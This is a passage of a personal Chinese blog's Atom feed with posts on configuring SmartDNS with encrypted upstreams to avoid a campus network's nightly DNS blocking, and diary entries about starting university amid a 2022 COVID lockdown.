了，因为有太多个冬天后的春天，都是一片荒芜。但是，我还是希望，待这个寒冬过去，春天真的能够在2023年到来，我们能自由地呼吸，去做想做的事，去见想见的人。</p><p>我的2023愿望清单：</p><ul><li>顺利通过所有考试</li><li>回老家过年</li><li>去外地旅行</li><li>学会做几道菜</li><li>做好润的规划</li></ul><p>当然最重要的是，身体健康，幸福快乐。</p><p>最后，感谢读到这的你，祝你的2023年，一切顺利，心想事成！</p></body></html>]]></content>
    
    
    <summary type="html">&lt;p&gt;2022年的最后一个冬夜，我和往年一样坐在屏幕前，试图用文字为过去的一年画上句号。今年的我，沉思良久，却一时不知从何写起。&lt;/p&gt;
&lt;p&gt;2022年发生了太多事情，让我感到恐惧、愤怒、无奈、迷茫，却也让我看到一丝丝希望。这些事情注定不被允许存在于「正确的集体记忆」中，但这片土地上的苦难、悲剧、抗争、勇气值得被铭记。因此，我愿将它们和我的生活一起，写入我的年终总结，作为它们曾经存在过、发生过的一份见证。&lt;/p&gt;</summary>
    
    
    
    <category term="杂文" scheme="https://blog.hans362.cn/categories/%E6%9D%82%E6%96%87/"/>
    
    
    <category term="年终总结" scheme="https://blog.hans362.cn/tags/%E5%B9%B4%E7%BB%88%E6%80%BB%E7%BB%93/"/>
    
  </entry>
  
  <entry>
    <title>对抗校园网 DNS 污染，我有妙招</title>
    <link href="https://blog.hans362.cn/post/how-i-fight-against-campus-dns-pollution/"/>
    <id>https://blog.hans362.cn/post/how-i-fight-against-campus-dns-pollution/</id>
    <published>2022-10-15T04:42:17.000Z</published>
    <updated>2025-12-31T14:36:17.819Z</updated>
    
    <content type="html"><![CDATA[<html><head><link rel="stylesheet" class="aplayer-secondary-style-marker" href="https://blog.hans362.cn/npm/APlayer@fix-smoothscroll/dist/APlayer.min.css"><script src="https://blog.hans362.cn/npm/APlayer@fix-smoothscroll/dist/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script>var meting_api='https://api-v2.hans362.cn/vip/?server=:server&type=:type&id=:id&r=:r'</script><script class="meting-secondary-script-marker" src="/js/Meting.min.js"></script></head><body><p>最近给寝室接入了学校网络信息中心免费提供的 1Gbps 有线网络，这确实是我迄今为止使用过的最奢华的网络环境，尤其是把 WSL 软件源更换成 SJTUG 镜像站后，能够以接近 1Gbps 的速率更新软件包，体验极度舒适。</p><p>然而，某天早上7:30，当我试图打开 Bilibili 时，Chrome 浏览器却提示 <code>DNS_PROBE_FINISHED_NXDOMAIN</code>，手机客户端也加载失败。通过查阅校内论坛，我得知由于某些原因，从2022年5月25日起的每天0点至8点，学校网络信息中心提供的 DNS 服务器会<strong>故意</strong>不返回大部分视频网站（包括但不限于哔哩哔哩、腾讯视频、爱奇艺、优酷、华数TV、抖音、快手）及游戏网站（包括但不限于Steam商店和聊天、Origin、战网、英雄联盟、崩坏）的解析结果，即所谓的 DNS 污染。</p><p>虽然我多数时候没有在0点至8点使用这些网站的需求，但是我并不认可这种行为，所以本文就来谈谈我是如何对抗校园网 DNS 污染的。</p><span id="more"></span><h2 id="更换-dns没那么简单"><a class="markdownIt-Anchor" href="#更换-dns没那么简单"></a> 更换 DNS？没那么简单</h2><p>也许你会认为，既然只是学校网络信息中心提供的 DNS 服务器在特定时段不返回解析结果，那么只要改为使用公共 DNS 就能解决问题。没错，我一开始也是这样认为的，校内论坛上提供的解决方法亦是如此。</p><p>但是，在路由器上更换 DNS 后，却没有任何效果。我尝试在特定时段使用 <code>nslookup</code> 命令向校园网 DNS 服务器和一些公共 DNS 服务器查询 <code>bilibili.com</code> 的解析结果，结果很 amazing 啊！</p><pre><code class="hljs asciidoc">Sat Oct 14 02:03:09 GMT 2022<span class="hljs-section">== SJTU Primary ==</span>Server:    202.120.2.101Address 1: 202.120.2.101 202.120.2.101.dns.sjtu.edu.cn<span class="hljs-section">== SJTU Secondary ==</span>Server:    202.112.26.40Address 1: 202.112.26.40 202.112.26.40.dns.sjtu.edu.cn<span class="hljs-section">== 114 ==</span>Server:    114.114.114.114Address 1: 114.114.114.114 public1.114dns.com<span class="hljs-section">== DNSPod ==</span>Server:    119.29.29.29Address 1: 119.29.29.29 pdns.dnspod.cn</code></pre><p>无一例外地全部被阻断！我尚不清楚校园网是如何做到这一点的，或许是强制重定向所有 DNS-over-UDP 查询请求到校园网 DNS 服务器，导致请求根本没有到达 114 或 DNSPod 服务器，又或许是由于 DNS-over-UDP 查询是明文的，校园网出口能够识别出查询的域名，从而直接返回空结果。总之，这种情况下，简单地更换 DNS 服务器是无效的。</p><p>而且，即使这种方法有效，公共 DNS 会导致一些校内域名无法被正常解析，或无法返回最快的结果，同样会影响使用体验。</p><h2 id="另辟蹊径"><a class="markdownIt-Anchor" href="#另辟蹊径"></a> 另辟蹊径</h2><p>既然更换 DNS 无效，那么就只能另辟蹊径了。我想到的第一个方法是使用代理服务器，利用 dns2socks 等工具将 DNS 查询请求转发到代理服务器，再由代理服务器向公共 DNS 服务器查询结果，最后将结果返回给客户端。但这种方法需要一台境内服务器以确保速度，同时协议转换的过程对路由器的性能也有一定的要求。</p><p>因此，我决定使用另一种方法，那就是 DNS-over-HTTPS(DoH) 和 DNS-over-TLS(DoT)。二者都是 DNS-over-UDP 的替代方案，通过 HTTPS 或 TLS 协议向公共 DNS 服务器查询结果，从而避免了 DNS-over-UDP 查询请求被校园网通过某些方式污染的问题。</p><p>同时，为了避免上一节末尾提到的问题，我希望能够优先使用校园网 DNS 服务器进行查询，只有在校园网 DNS 服务器无法正常返回结果时才使用 DoH 或 DoT 向公共 DNS 服务器进行查询。<a href="https://github.com/pymumu/smartdns">SmartDNS</a> 无疑是实现这一需求的绝佳工具。</p><h2 id="smartdns出击"><a class="markdownIt-Anchor" href="#smartdns出击"></a> SmartDNS，出击！</h2><blockquote><p>SmartDNS 是一个运行在本地的 DNS 服务器，它接受来自本地客户端的 DNS 查询请求，然后从多个上游 DNS 服务器获取 DNS 查询结果，并将访问速度最快的结果返回给客户端，以此提高网络访问速度。 SmartDNS 同时支持指定特定域名 IP 地址，并高性匹配，可达到过滤广告的效果。<br>与 DNSmasq 的 all-servers 不同，SmartDNS 返回的是访问速度最快的解析结果。<br>支持树莓派、OpenWrt、华硕路由器原生固件和 Windows 系统等。</p></blockquote><p>（摘录自 <a href="https://github.com/pymumu/smartdns">SmartDNS 项目主页</a>）</p><p>关于 SmartDNS 是如何实现择优解析，以及如何避免因测速导致 DNS 解析过慢的，可以参考 Sukka 的<a href="https://blog.skk.moe/post/i-have-my-unique-dns-setup/#Zhong-Chang-Xiu-Xi-SmartDNS-Shi-Ru-He-Bi-Mian-Yin-Ce-Su-Dao-Zhi-DNS-Jie-Xi-Guo-Man-De">这篇文章</a>。</p><p>根据 SmartDNS 的官方文档以及路由器的处理器构架，我下载了编译好的 armv7 二进制，并编写了配置文件。</p><pre><code class="hljs apache"><span class="hljs-attribute">bind</span> :<span class="hljs-number">5362</span><span class="hljs-attribute">speed</span>-check-mode ping,tcp:<span class="hljs-number">80</span>,tcp:<span class="hljs-number">443</span><span class="hljs-attribute">server</span> <span class="hljs-number">202.120.2.101:53</span><span class="hljs-attribute">server</span> <span class="hljs-number">202.112.26.40:53</span><span class="hljs-attribute">server</span>-https https://<span class="hljs-number">1.12.12.12</span>/dns-query<span class="hljs-attribute">server</span>-https https://<span class="hljs-number">120.53.53.53</span>/dns-query<span class="hljs-attribute">server</span>-https https://<span class="hljs-number">1.1.1.1</span>/dns-query<span class="hljs-attribute">server</span>-tls dot.pub:<span class="hljs-number">853</span><span class="hljs-attribute">server</span>-tls <span class="hljs-number">8.8.4.4:853</span></code></pre><p>将 SmartDNS 运行后，我将路由器自带的 dnsmasq 的上游服务器设置为 <code>127.0.0.1:5362</code>，然后…</p><pre><code class="hljs apache"><span class="hljs-attribute">Sat</span> Oct <span class="hljs-number">15</span> <span class="hljs-number">02</span>:<span class="hljs-number">03</span>:<span class="hljs-number">09</span> GMT <span class="hljs-number">2022</span><span class="hljs-attribute">Server</span>:    <span class="hljs-number">127.0.0.1</span><span class="hljs-attribute">Address</span> <span class="hljs-number">1</span>: <span class="hljs-number">127.0.0.1</span> localhost.localdomain<span class="hljs-attribute">Name</span>:      bilibili.com<span class="hljs-attribute">Address</span> <span class="hljs-number">1</span>: <span class="hljs-number">119.3.70.188</span> ecs-<span class="hljs-number">119</span>-<span class="hljs-number">3</span>-<span class="hljs-number">70</span>-<span class="hljs-number">188</span>.compute.hwclouds-dns.com</code></pre><p>与此同时，SmartDNS 的日志也记录下了这次查询的过程。</p><pre><code class="hljs stylus"><span class="hljs-selector-attr">[2022-10-15 02:03:09,372]</span><span class="hljs-selector-attr">[ INFO]</span><span class="hljs-selector-attr">[     dns_server.c:4236]</span> query server bilibili<span class="hljs-selector-class">.com</span> from <span class="hljs-number">192.168</span>.<span class="hljs-number">50.1</span>, qtype = <span class="hljs-number">28</span><span class="hljs-selector-attr">[2022-10-15 02:03:09,374]</span><span class="hljs-selector-attr">[ INFO]</span><span class="hljs-selector-attr">[     dns_client.c:3135]</span> send request bilibili<span class="hljs-selector-class">.com</span>, qtype <span class="hljs-number">28</span>, id <span class="hljs-number">3</span><span class="hljs-selector-attr">[2022-10-15 02:03:09,376]</span><span class="hljs-selector-attr">[ INFO]</span><span class="hljs-selector-attr">[     dns_server.c:4236]</span> query server bilibili<span class="hljs-selector-class">.com</span> from <span class="hljs-number">192.168</span>.<span class="hljs-number">50.1</span>, qtype = <span class="hljs-number">1</span><span class="hljs-selector-attr">[2022-10-15 02:03:09,376]</span><span class="hljs-selector-attr">[ INFO]</span><span class="hljs-selector-attr">[     dns_client.c:3135]</span> send request bilibili<span class="hljs-selector-class">.com</span>, qtype <span class="hljs-number">1</span>, id <span class="hljs-number">4</span><span class="hljs-selector-attr">[2022-10-15 02:03:09,376]</span><span class="hljs-selector-attr">[ INFO]</span><span class="hljs-selector-attr">[     dns_client.c:3135]</span> send request bilibili<span class="hljs-selector-class">.com</span>, qtype <span class="hljs-number">28</span>, id <span class="hljs-number">5</span><span class="hljs-selector-attr">[2022-10-15 02:03:09,521]</span><span class="hljs-selector-attr">[ INFO]</span><span class="hljs-selector-attr">[     dns_server.c:1608]</span> result: bilibili<span class="hljs-selector-class">.com</span>, qtype: <span class="hljs-number">1</span>, rtt: <span class="hljs-number">4.1</span> ms, <span class="hljs-number">119.3</span>.<span class="hljs-number">70.188</span><span class="hljs-selector-attr">[2022-10-15 02:03:09,981]</span><span class="hljs-selector-attr">[ INFO]</span><span class="hljs-selector-attr">[     dns_server.c:583 ]</span> result: bilibili<span class="hljs-selector-class">.com</span>, id: <span class="hljs-number">64281</span>, index: <span class="hljs-number">1</span>, rtt: <span class="hljs-number">4.1</span> ms, <span class="hljs-number">119.3</span>.<span class="hljs-number">70.188</span><span class="hljs-selector-attr">[2022-10-15 02:03:09,981]</span><span class="hljs-selector-attr">[ INFO]</span><span class="hljs-selector-attr">[     dns_server.c:583 ]</span> result: bilibili<span class="hljs-selector-class">.com</span>, id: <span class="hljs-number">64281</span>, index: <span class="hljs-number">2</span>, rtt: <span class="hljs-number">5.3</span> ms, <span class="hljs-number">47.103</span>.<span class="hljs-number">24.173</span></code></pre><p>对抗成功！</p><h2 id="总结"><a class="markdownIt-Anchor" href="#总结"></a> 总结</h2><p>本文利用 SmartDNS 解决了校园网 DNS 污染问题，成功构建了愉快的网络环境。如果你的校园网也存在故意污染 DNS 的情况，并且不想或不能直接更换公共 DNS，不妨试试本文的方法。</p><p>最后说一句，我能够理解学校这么做的考虑，但我认为堵不如疏，强制性的网络限制并不是一个好方法。</p></body></html>]]></content>
    
    
    <summary type="html">&lt;p&gt;最近给寝室接入了学校网络信息中心免费提供的 1Gbps 有线网络，这确实是我迄今为止使用过的最奢华的网络环境，尤其是把 WSL 软件源更换成 SJTUG 镜像站后，能够以接近 1Gbps 的速率更新软件包，体验极度舒适。&lt;/p&gt;
&lt;p&gt;然而，某天早上7:30，当我试图打开 Bilibili 时，Chrome 浏览器却提示 &lt;code&gt;DNS_PROBE_FINISHED_NXDOMAIN&lt;/code&gt;，手机客户端也加载失败。通过查阅校内论坛，我得知由于某些原因，从2022年5月25日起的每天0点至8点，学校网络信息中心提供的 DNS 服务器会&lt;strong&gt;故意&lt;/strong&gt;不返回大部分视频网站（包括但不限于哔哩哔哩、腾讯视频、爱奇艺、优酷、华数TV、抖音、快手）及游戏网站（包括但不限于Steam商店和聊天、Origin、战网、英雄联盟、崩坏）的解析结果，即所谓的 DNS 污染。&lt;/p&gt;
&lt;p&gt;虽然我多数时候没有在0点至8点使用这些网站的需求，但是我并不认可这种行为，所以本文就来谈谈我是如何对抗校园网 DNS 污染的。&lt;/p&gt;</summary>
    
    
    
    <category term="技术向" scheme="https://blog.hans362.cn/categories/%E6%8A%80%E6%9C%AF%E5%90%91/"/>
    
    
    <category term="路由器" scheme="https://blog.hans362.cn/tags/%E8%B7%AF%E7%94%B1%E5%99%A8/"/>
    
    <category term="DNS" scheme="https://blog.hans362.cn/tags/DNS/"/>
    
    <category term="校园网" scheme="https://blog.hans362.cn/tags/%E6%A0%A1%E5%9B%AD%E7%BD%91/"/>
    
  </entry>
  
  <entry>
    <title>周记#28 - “开学第一课”</title>
    <link href="https://blog.hans362.cn/post/weekly-28/"/>
    <id>https://blog.hans362.cn/post/weekly-28/</id>
    <published>2022-09-25T08:57:47.000Z</published>
    <updated>2025-12-31T14:36:17.829Z</updated>
    
    <content type="html"><![CDATA[<html><head><link rel="stylesheet" class="aplayer-secondary-style-marker" href="https://blog.hans362.cn/npm/APlayer@fix-smoothscroll/dist/APlayer.min.css"><script src="https://blog.hans362.cn/npm/APlayer@fix-smoothscroll/dist/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script>var meting_api='https://api-v2.hans362.cn/vip/?server=:server&type=:type&id=:id&r=:r'</script><script class="meting-secondary-script-marker" src="/js/Meting.min.js"></script></head><body><p>诶嘿，我又来水文章了（bushi）</p><p>转眼间大学已经正式开学两周啦！回想起这两周所经历的一切，我想我只能用两个词来形容，那就是「魔幻」和「荒诞」，远超想象的「魔幻」和「荒诞」，以至于狠狠给我上了一课。</p><p>你可能会好奇发生了什么，那就接着往下看吧。</p><span id="more"></span><h2 id="开学第一天"><a class="markdownIt-Anchor" href="#开学第一天"></a> 开学第一天</h2><h3 id="暴风雨来临前的上午"><a class="markdownIt-Anchor" href="#暴风雨来临前的上午"></a> 暴风雨来临前的上午</h3><p>中秋假期后的周二即为开学第一天。因为有早八还下着雨，所以睡到6:30就起床了，毕竟我可不想大学的第一节课就迟到。吃完早饭步行1km到达教学楼，7:40大教室里已经座无虚席了，我只好在最后一排赶紧找了个座位坐下。</p><p>7:50线代老师来了，打开 Canvas 让大家扫码签到，得知这是我们在大学的第一节课就顺便给我们介绍了一下 Canvas 的各种功能。简单来说，Canvas 是一个在线教学平台，可以查看课程资料、提交作业等，还可以观看课程录像和实时直播，因为教学楼大部分教室都安装了录课设备，会根据课表自动录制并上传。</p><p>第一节课主要讲了一下线性代数的历史和应用，讲了数域、线性方程组和矩阵的概念，感觉老师很不错，大概是希望所有人都能听懂所以讲得比较细致，有一些显而易见的地方也会板书亲手证明给你看。</p><p>下课后，正想去体育馆上后面一节体育课，看到教务处通知说由于疫情防控第一周体育课线上进行，第二周开始恢复线下。于是回到宿舍，打开腾讯会议开始线上课程。11:40下课后，去食堂吃了顿好吃的，然后回寝室休息。</p><p>到这里为止，一切看起来还比较正常，之后的事情就不那么正常了。</p><h3 id="半天大学体验卡到期"><a class="markdownIt-Anchor" href="#半天大学体验卡到期"></a> 半天大学体验卡到期</h3><p>午饭后在寝室休息，登上教学信息网看了一眼课表，无意间竟发现所有课程都被添加上了腾讯会议号和密码，此时我已预感大事不妙。打开校内论坛一看，果然出事了，校内有一位返沪同学核酸异常，包括菜鸟驿站在内的许多场所都已被封，校门也封死禁止出入了。开学半天就封校，真够离谱的。</p><p>一小时后接到教务处通知，确认下午课程全部改线上教学。回想起今年三月我校疫情爆发，这下恐怕要二周目了，于是赶紧前往楼下便利店屯了一些物资。室友搞来了一桶18L的桶装水，够喝一阵了。</p><p>下午上完课得知已经有几栋楼的同学被转运到隔离酒店了，还有几栋楼封控了。我所在的楼暂时还没被封，但楼栋群里通知说尽量不要外出，晚饭去食堂打包回来吃。</p><p>打开手机，我校微信公众号又不合时宜地发了一篇推送：</p><p><img src="https://hans362-img.oss.0vv0.top/2022/09/24/b5136409d4fc10f6ba314bde90e16058.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/09/24/b5136409d4fc10f6ba314bde90e16058.jpg?width=1920" srcset="/loading.gif" alt=""></p><p>（穿梭回今年三月是吧，重温一下封校是吧）</p><p><img src="https://hans362-img.oss.0vv0.top/2022/09/25/dba4ea9591b248c55dceb6aeea10c8bf.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/09/25/dba4ea9591b248c55dceb6aeea10c8bf.png?width=1920" srcset="/loading.gif" alt=""></p><p>（图源微信公众号“二月十三”，原文已被和谐）</p><h2 id="真正的开学第一课"><a class="markdownIt-Anchor" href="#真正的开学第一课"></a> 真正的开学第一课</h2><p>第二天中午，流调结果出来了，我所在的楼栋涉及密接，喜提2天封控+5天自我健康管理（后直接加码至7天封控），全校大部分宿舍楼都是如此。封控期间足不出户，三餐配送至寝室，不过至少可以去一楼洗澡，这比三月份好。</p><p><img src="https://hans362-img.oss.0vv0.top/2022/09/25/89c74b09750b043160ff6bd2971d068c.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/09/25/89c74b09750b043160ff6bd2971d068c.png?width=1920" srcset="/loading.gif" alt=""></p><p>于是，真正的大学第一课开始了，在开学第二天就用无尽的封闭管理和层层加码击碎你对正常生活的美好幻想，从而更坚定了你润的决心。</p><blockquote><p>你说的对，但是《封闭化管理》是交通大学自主研发的一款全新封闭世界冒险游戏，游戏发生在一个被称作[闵行校区]的幻想世界，在这里被神选中的人将被授予[南洋北苑4-7天隔离]，导引新冠之力，你将扮演一位名为[冤种学生]的神秘角色，在自由的网课生活中邂逅性格各异、能力独特的同伴们，和他们一起做核酸，找回失散的密接——同时逐步发掘[人性化管理]的真相。</p></blockquote><p><img src="https://hans362-img.oss.0vv0.top/2022/09/25/d8b6d4edacf502112d0d9f2ff18c93ea.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/09/25/d8b6d4edacf502112d0d9f2ff18c93ea.jpg?width=1920" srcset="/loading.gif" alt=""></p><p>（中秋月饼的包装盒，这下成真了😅）</p><h2 id="封控的日子"><a class="markdownIt-Anchor" href="#封控的日子"></a> 封控的日子</h2><h3 id="吃吃吃"><a class="markdownIt-Anchor" href="#吃吃吃"></a> 吃吃吃</h3><p>封控期间一日三餐都是配送到寝室的。早饭是保质期很长的那种牛奶加面包，午饭和晚饭是盒饭。</p><p>除了第一顿午饭到下午两点才吃上，其他的基本都是准时送到的。</p><p>至于饭菜质量嘛，反正透明盒子的盒饭是挺难吃的，略带腥味的不明肉块、淀粉十足的红烧狮子头、口感奇怪的剁椒鱼是饭菜里的常客。相比之下红黑盒子的盒饭比较好吃一些，但依旧比不上堂食😭。</p><p><img src="https://hans362-img.oss.0vv0.top/2022/09/24/520777a09b20a0fa3b7224a885e5fd3a.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/09/24/520777a09b20a0fa3b7224a885e5fd3a.jpg?width=1920" srcset="/loading.gif" alt=""></p><p>在封控的中后期开始天天发水果，这个挺不错的，水果多到吃不完。</p><p><img src="https://hans362-img.oss.0vv0.top/2022/09/24/c108fea445d7d0e963dc9ee460975f9c.jpg?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/09/24/c108fea445d7d0e963dc9ee460975f9c.jpg?width=1920" srcset="/loading.gif" alt=""></p><h3 id="上网课"><a class="markdownIt-Anchor" href="#上网课"></a> 上网课</h3><p>我校购买了腾讯会议教育版，并且对接了教务系统，所有课程全部在腾讯会议进行。得益于学校非常完善的网络基础设施，线上上课几乎没有卡顿。</p><p>因为还没有分专业，所以我们寝室除了大学英语外的课都是一样的，就不会互相影响啥的，还可以交流讨论，上课体验不错。</p><p>课程作业是在 Canvas 平台上提交，正好之前<a href="https://blog.hans362.cn/post/onyx-boox-notex/">买了文石的 NoteX 电子纸</a>，可以直接在电子纸上写作业，然后导出 PDF 上传，省去了逐页拍照合并 PDF 的过程，非常便捷。</p><h3 id="核酸-转运"><a class="markdownIt-Anchor" href="#核酸-转运"></a> 核酸、转运</h3><p>自从封控之后，早八也显得没有那么恐怖了，毕竟无论有没有早八，清晨6点都会被准时叫醒去做核酸。</p><p>校外隔离点开始陆陆续续有人阳性了，因此每隔几天就会突然多查出一批密接，用大巴拉走去隔离，甚至台风登陆那天也连夜拉走。并且越晚拉走的隔离条件越差，班上有人在隔离点一晚上踩死13只美州大蠊。</p><p>有一天涉及的密接实在太多，结果搞得非常混乱，简直是一团糟，健康码红码/健康码绿码+收到转运短信/没收到转运短信+在转运名单上/不在转运名单上+最后被转运/最后没被转运，啥样的组合都有，甚至出现了接到转运短信两天后才被转运的情况，这要传染早该传染了吧。</p><p>这段时间天天提心吊胆的，看着周围寝室的人一个个被拉走，生怕自己就是下一个。</p><p><img src="https://hans362-img.oss.0vv0.top/2022/09/25/9a07c86f49989b45f31d05d4152d727e.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/09/25/9a07c86f49989b45f31d05d4152d727e.png?width=1920" srcset="/loading.gif" alt=""></p><p>（图源微信公众号“二月十三”，原文已被和谐）</p><h3 id="线上演唱会"><a class="markdownIt-Anchor" href="#线上演唱会"></a> 线上演唱会</h3><p>某天刷校内论坛看到一个帖子，说太无聊太难受了，要开一个线上演唱会，于是就想去凑个热闹。</p><p>那天晚上600多个素不相识的人聚在腾讯会议室里一起听歌，想唱的人自由开麦，气氛非常棒，感觉特别解压。后面几天又办了几场，甚至还邀请到了友校的某位知名 UP 主。</p><p>总之就是很感谢论坛上的那位学长办了个这样的活动，不然我真的要被关疯掉了。</p><h2 id="解封"><a class="markdownIt-Anchor" href="#解封"></a> 解封</h2><p>终于，在9月20日做了鼻咽双采核酸，似乎是要解封的征兆。</p><p><img src="https://hans362-img.oss.0vv0.top/2022/09/25/49ccd4d4a144837043308dd6b7ddb408.png?width=1920" class="lazy" data-srcset="https://hans362-img.oss.0vv0.top/2022/09/25/49ccd4d4a144837043308dd6b7ddb408.png?width=1920" srcset="/loading.gif" alt=""></p><p>（图源微信公众号“二月十三”，原文已被和谐）</p><p>9月21日晚，宿舍楼解封。我迫不及待地换了身衣服跑到楼下，找了辆共享单车，开始狂骑。本来打算去西区逛逛，搞点好吃的，结果骑到隧道发现被警戒线拦住了，只好绕着东区骑了好几圈。秋天夜晚的风特别凉爽，因为还有很多楼没有解封，路上一辆车、一个人也没有，非常空旷，非常安静。在被剥夺自由7天后，我突然发现出去骑个车也是如此美妙的事情。</p><p>宿舍楼解封后并没有恢复出事之前的所谓的“常态”，校园的所有公共场所依旧不开放，食堂只提供打包，非必要不进出校。即使风险区已经解除，快递也仍旧卡在路上，或是根本发不出来。我的快递就是一直卡在校门外不动，以疫情防控为理由不安排配送，多次打客服电话投诉都只是敷衍了事。不得已试了试<a href="https://sswz.spb.gov.cn/">邮政总局投诉</a>，几小时后就有客服打电话给我，态度友好地解释原因，并立刻安排配送了，真的高效管用。</p><p>解封后的周五，下午上完课立马润回家了，去TMD非必要不离校。既然短期内不可能恢复线下教学，我可不想被关在学校里，天天核酸还哪都去不了。</p><h2 id="闹剧何时结束"><a class="markdownIt-Anchor" href="#闹剧何时结束"></a> 闹剧何时结束</h2><p>在上一篇周记中，我曾吐槽过学校的进出校审批制度，毕竟友校都可以凭48小时核酸出入自由了。可是呢？以牺牲大家的正常生活为代价层层加码战战兢兢最后不还是第一个出事了？</p><p>已经三年了，如果未来还是这样，如果这一切将成为一种新的常态，我真的不知道我还能忍受多久。大学四年，我想要的是在教室上课的自由，想要的是进出图书馆的自由，想要的是随时出校的自由，而不是无止境的网课与限制以及随时到来的封控。我需要的是种种非必要行为构成的生活，而不仅仅是活着，防疫带给我的麻烦和恐惧远远大于病毒本身。</p><p>贵州转运密接的大巴出事的那天，看到新闻我突然就想起了几天前台风登陆的那个夜晚，也有许多密接同学被大巴连夜接走，心里一阵后怕。那天晚上那么大的风，那么大的雨，恐怕连路都看不清吧。你我都在那辆大巴车上，我们又有什么底气保证下一个出事的不会是自己？</p><p>对于本次疫情防控中违背《新型冠状病毒肺炎防控方案（第九版）》的种种加码行为（如从未见过的7+0封控、解封要求双采等），大家都通过各种渠道反映过，也尝试过抗争，然而并没有用。用论坛上一位同学的话来说，就像是一拳打在棉花上，很无力。</p><p>解封后食堂的工作人员全部穿着防护服在打菜，大概是上面的要求吧，背后就是热火朝天的厨房，还穿着那么厚重的衣服，我真的一阵心疼。我们都生活在这场荒诞的闹剧中，我们都是演员，别无选择。</p><p>感谢学校给我上的这开学第一课。</p></body></html>]]></content>
    
    
    <summary type="html">&lt;p&gt;诶嘿，我又来水文章了（bushi）&lt;/p&gt;
&lt;p&gt;转眼间大学已经正式开学两周啦！回想起这两周所经历的一切，我想我只能用两个词来形容，那就是「魔幻」和「荒诞」，远超想象的「魔幻」和「荒诞」，以至于狠狠给我上了一课。&lt;/p&gt;
&lt;p&gt;你可能会好奇发生了什么，那就接着往下看吧。&lt;/p&gt;</summary>
    
    
    
    <category term="周记" scheme="https://blog.hans362.cn/categories/%E5%91%A8%E8%AE%B0/"/>
    
    
  </entry>
  
  <entry>
    <title>周记#27 - Re: 从零开始的大学生活</title>
    <link href="https://blog.hans362.cn/post/weekly-27/"/>
    <id>https://blog.hans362.cn/post/weekly-27/</id>
    <published>2022-09-10T08:22:32.000Z</published>
    <updated>2025-12-31T14:36:17.829Z</updated>
    
    <content type="html"><![CDATA[<html><head><link rel="stylesheet" class="aplayer-secondary-style-marker" href="https://blog.hans362.cn/npm/APlayer@fix-smoothscroll/dist/APlayer.min.css"><script src="https://blog.hans362.cn/npm/APlayer@fix-smoothscroll/dist/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script>var meting_api='https://api-v2.hans362.cn/vip/?server=:server&type=:type&id=:id&r=:r'</script><script class="meting-secondary-script-marker" src="/js/Meting.min.js"></script></head><body><p>好久不见，首先祝各位中秋快乐！</p><p>转眼间已经在大学生活了两周。作为一个学长口中“对大学生活尚存激情与憧憬”的大一新生，这段时间确实收获了不少新鲜的体验。趁着这份难得的新鲜感还未消散，就以本文记录下我从零开始的大学生活吧！</p><span id="more"></span><h2 id="报到"><a class="markdownIt-Anchor" href="#报到"></a> 报到</h2><p>因为就住在上海，决定在家里多躺平一天。8月24日一早带着大大小小的五包行李出发，前往位于闵大荒的 SJTU。到校后一下车就有志愿者拉着手推车帮忙搬运行李。跟随指引依次完成了行李登记、入校核酸，到达校车候车点后提取行李、上车前往宿舍楼。</p><p>因为不是闰年所以入住了东区宿舍。校车车门一开，边上的人行道上站满了各个学院的志愿者，手里举着各个学院的牌子。我院的两位学长非常热情地帮我承担了一大半行李，到了宿舍楼之后考虑到楼层比较高就不想麻烦学长了。没想到他们一直等我办理完入住手续，坚持帮我把行李搬上去了，真的非常感谢。</p><p>进房间后另外三位室友还在睡懒觉，被我弄醒了我只好尴尬地打了个招呼。之后就是拆包开始收拾，安装蚊帐、铺床垫床单，把各类物品摆放好。一系列杂活弄完已经中午了，然而入校核酸结果还没出，不能出寝室吃饭。幸好入住的时候送了零食大礼包，有面包、饼干什么的，就吃了一些。</p><p>下午骑车前往学院办理入学手续。尽管人生地不熟（虽然在上海但是几乎没来过闵大荒），但是手机开个导航语音播报放口袋里，然后跟着语音指示无脑向前骑就顺利到达了。进了楼又开始晕头转向找教务办公室，就在这时一位路过的老师给我指了路（后来发现竟然是我班的思政），顺利办完拿到了学生证、院衫和一些小礼物。</p><p>回宿舍后果然遇上了推销的“学长”，果断拒绝，赶出寝室。后来在论坛上看到保卫处抓住了2名翻墙进来推销的校外人员，想想当时应该把他关在宿舍里，然后打电话叫保卫处绳之以法😂。</p><p>晚上体验了宿舍楼附近的食堂（后来发现是最难吃的一个）。或许是高中后两年换了食堂供应商难吃至极，相比之下这第一顿我觉得还不错，而且才12元，性价比很高。</p><h2 id="开学典礼"><a class="markdownIt-Anchor" href="#开学典礼"></a> 开学典礼</h2><p>因为疫情原因只有部分学院去了现场，其余在各个分会场看转播。</p><p><s>（具体有啥已经记不清了，因为大家都在玩手机）</s></p><p>下午的时候有个领导讲话还 cue 了一下“疫情期间让交大人脸上挂不住的用词”（沆瀣一气），我快笑死了，然而周围同学好像不知道这个梗。（疫情期间高中语文老师把这事发在群里，当时就笑死了）</p><h2 id="英语分级考"><a class="markdownIt-Anchor" href="#英语分级考"></a> 英语分级考</h2><p>这玩意用于决定大学英语的课程级别。除了 Vocabulary 部分一堆词不认识之外，其余题目都只是上海高考的加强版，比如听力只读一遍，对于上海考生来说不用准备考上大英4轻轻松松。</p><h2 id="军训"><a class="markdownIt-Anchor" href="#军训"></a> 军训</h2><p>随后就是为期两周的军训。对于这种活动我是没有多少好感的，而且正好因为身体原因就申请了减训，于是被分配到了一个很水的岗位。早上不用很早起来去买早饭，也不用随连队活动，真的是“摆得彻底、摸得透彻”，当然工作还是要好好做的，只是相对于普训的同学来说要轻松很多。</p><p>军训期间学校对于参训人员是封闭管理，隔天核酸，有的不同年级混住的宿舍楼还不时冒出一两个密接。在这种情况下，学校决定让大家隔天在宿舍吃盒饭。结果刚开始几次盒饭质量还行，到后面真的就是在敷衍，根本对不起12元的价格。</p><p><img 